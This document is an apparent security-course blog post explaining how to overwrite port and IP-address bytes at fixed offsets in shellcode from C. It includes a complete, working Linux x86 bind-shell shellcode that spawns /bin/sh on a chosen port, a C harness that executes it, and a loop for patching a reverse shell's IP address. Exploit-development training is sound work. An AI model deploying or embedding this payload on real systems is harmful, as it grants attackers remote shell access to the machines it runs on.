C: changing shellcode bytes at the middle (or at shellcode offset)

The Problem

While writing a bindshell shellcode for the SLAE32 course Assignment #1, which will be described in details another blog post, there was an interesting issue while coding the C program. As the exercise required some flexibility on passing the port as an argument, the issue was that there is not a direct way to alter the 2 bytes of shellcode in C, so if you are looking for a way to change some bytes at the middle or at an offset of your shellcode the solution follows below.

A typical C shellcode program looks as following:

unsigned char shellcode[] = "\x01\x02\x03...";

	int (*ret)() = (int(*)())shellcode;

This is a simple way to execute shellcode instructions, however it misses the flexibility required to provide program arguments.

What if we execute a shellcode, but at the sometime we want to change some bytes in the middle, depending on the environment or an argument being passed to the application, like a port number or an IP address?

The Solution

Instead of using the strcpy() or strcat() functions in C and messing up with moving memory values, I came up with the solution to locate the proper offsets which need to be changed, and then alter them directly in the unsigned char array. As a port number represents with a 4-byte hex value, the value of the port first needs to be split into 2 separate byte values.

For example, the port 4444 is being represented in hex as 115c.  In case we have the following shellcode:

shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x20\x11\x5c"

or an offset could be used:


we know that we want to change the 21st and the 22nd byte (array indexes 20 and 21) , however as C does not allow for direct access to multiple bytes without overriding the next byte, or without providing an offset to it, I came up with the solution to split the port number represented in hex in two different bytes and then alter the appropriate offsets.

To split the hex value of 115c in two parts in C into two different parts:

int port = atoi("4444");

unsigned int p1 = (port >> 8) & 0xff;
unsigned int p2 = port & 0xff;

What the p1 definition does is just shifts the value to omit the zeroes at the end of 1155c, resulting in getting 11 and then 5C  within the next part. Then, we need to change the shellcode at the required offsets by casting p1 and p2 to an unsigned char:

shellcode[20] = (unsigned char){p1};
shellcode[21] = (unsigned char){p2};

And after running a simple skeleton to change shellcode bytes in the middle of a program we could see that the bytes at the offsets that  point to the desired place in our shellcode are changed:

How to change shellcode bytes in C- dynamic port binding
How to change shellcode bytes in C- dynamic port binding

Now that I described the basics, let’s demonstrate this within a fully-functional C program taking the port as an argument. I left the 115c value, representing the actual port 4444 as a default value to allow the program to still function in case a port has not been provided.

#include <stdio.h>
#include <string.h>

unsigned char code[] = \

main(int argc, char *argv[])

/* \x11\x5c at 34th and 35th byte index
int port = atoi(argv[1]);
printf("Binding to %d (0x%x)\n", port, port);

unsigned int p1 = (port >> 8) & 0xff;
unsigned int p2 = port & 0xff;
//printf("%x\n", p2);

code[34] = (unsigned char){p1};
code[35] = (unsigned char){p2};

printf("%x %x", code[34], code[35]);
printf("%d", sizeof(code[0]));

int (*ret)() = (int(*)())code;

Changing shellcode bytes at the middle of shellcode - PromiseLabs - d7x's blog
Changing shellcode bytes at the middle of shellcode – PromiseLabs – d7x’s blog

Let’s also try a higher port to ensure that it would work with a different test case:

Unfortunately due to the byte shifting the tests do not seem to work when a port from a different range which is larger than 4 digits is provided.

That’s what I initially thought due to the fact that 65535 represents as 0xffff, but from my other tests it could be seen that this method actually works with any port:

Now that we know that the test cases are stable and the method on how to change the shellcode bytes at a given offset works, the application could be altered to include a default port and coded in a bit neater way. Let’s leave a default port at index 34 and 35. To retrieve the hexadecimal representation of a port provided in ASCII  and converted integer (this is what the C atoi() function does), you could use the printf command in bash:

$ printf "%04x\n" 2626
$ printf "%04x\n" 6666

While writing this I came up with an interestingn fact, the numbers for some of the privileged ports (a privileged port is considered each port within the 0-1024 range) contain null-bytes, which may interrupt the execution of the program, but during my tests ports like 125, 256 and 257 (containing a null-byte) worked fine:

$ printf "%04x\n" 125
$ printf "%04x\n" 126
$ printf "%04x\n" 999
$ printf "%04x\n" 900
printf "%04x\n" 500
$ printf "%04x\n" 400
$ printf "%04x\n" 300
$ printf "%04x\n" 200
$ printf "%04x\n" 201
$ printf "%04x\n" 225
$ printf "%04x\n" 240
$ printf "%04x\n" 255
$ printf "%04x\n" 256
$ printf "%04x\n" 257

And here’s the result for ports 125 (0x007d), 255 (0x00ff), and 256 (0x0100):

Below is the result with the refactored C code for changing the port in a shellcode dynamically by altering the shellcode bytes at the middle of the at the desired offset:

/* bindshell with dynamic shellcode port binding 
Author: d7x
https://www.promiselabs.net/ */ #include <stdio.h> #include <string.h> unsigned char shellcode[] = \ "\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xf6\x56\x66\x68\x0a\x42\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x31\xf6\x56\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xf6\x56\x31\xf6\x56\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc9\x31\xc0\xb0\x3f\x31\xdb\x89\xfb\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xee\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xf6\x89\xf1\x89\xf2\xcd\x80\xb0\x01\xb3\x05\xcd\x80"; main(int argc, char *argv[]) { /* Default port at 34th and 35th byte index: \x0a\x42 */ // in case no port is provided the default would be used if (argc < 2) { printf("No port provided, 2626 (0x0a42 will be used)\n"); } else { int port = atoi(argv[1]); printf("Binding to %d (0x%x)\n", port, port); unsigned int p1 = (port >> 8) & 0xff; unsigned int p2 = port & 0xff; // printf("%x %x\n", p1, p2); shellcode[34] = (unsigned char){p1}; shellcode[35] = (unsigned char){p2}; // printf("%x %x", shellcode[34], shellcode[35]); } int (*ret)() = (int(*)())shellcode; ret(); }

And below are the screenshots of the shells invoked with the default port (2626) and the port passed as an argument to the program, respectively:

Bindshell #1 (default port in shellcode2626 or 0x0a42):Bindshell #2 (dynamic port overwritten in shellcode, passed as an argument to the application – 4343 or 0x10f7):

Swapping multiple bytes at once (changing IP address in shellcode)

I used the following approach while coding a TCP Reverse Shell Shellcode Assembly – once I have the offset at which the IP address is located, I split the hex representation byte by byte, and assign the relevant offset byte to it. 

int offset = 26; // IP address byte offset

/*  1st byte: 0xAABBCCDD >> 0 & 0xff
2nd byte: 0xAABBCCDD >> 8 & 0xff
3rd byte: 0xAABBCCDD >> 16 & 0xff
4th byte: 0xAABBCCDD >> 24 & 0xff

int i, a;
for (i = offset, a = 0; i < offset+4; i++, a+=8)
shellcode[i] = (ipaddr.sin_addr.s_addr >> a) & 0xff ;
printf("Byte %d: %.02x\n", i, shellcode[i]);

In the example snippet used above, in case the IP address is located at byte index 26 of the shellcode array, all 4 bytes starting from offset 26 would be swapped with the new hex representation of the IP address, in this case stored in ipaddr.sin_addr.s_addr .

Wrapping it up

This is a very basic approach to dynamically swap shellcode bytes at a given offset in order to dynamically generate shellcode values based on the arguments provided to the application in the C programming language .

Using the same methodology you could implement an option to change the shellcode mutation and swap values in it dynamically, for example change the IP address in a reverse shell, or any other argument you might want to change using the arguments  data being passed to the main function.



Splitting a hex number (stackoverflow)
C program to extract bytes from an integer (Hexadecimal) value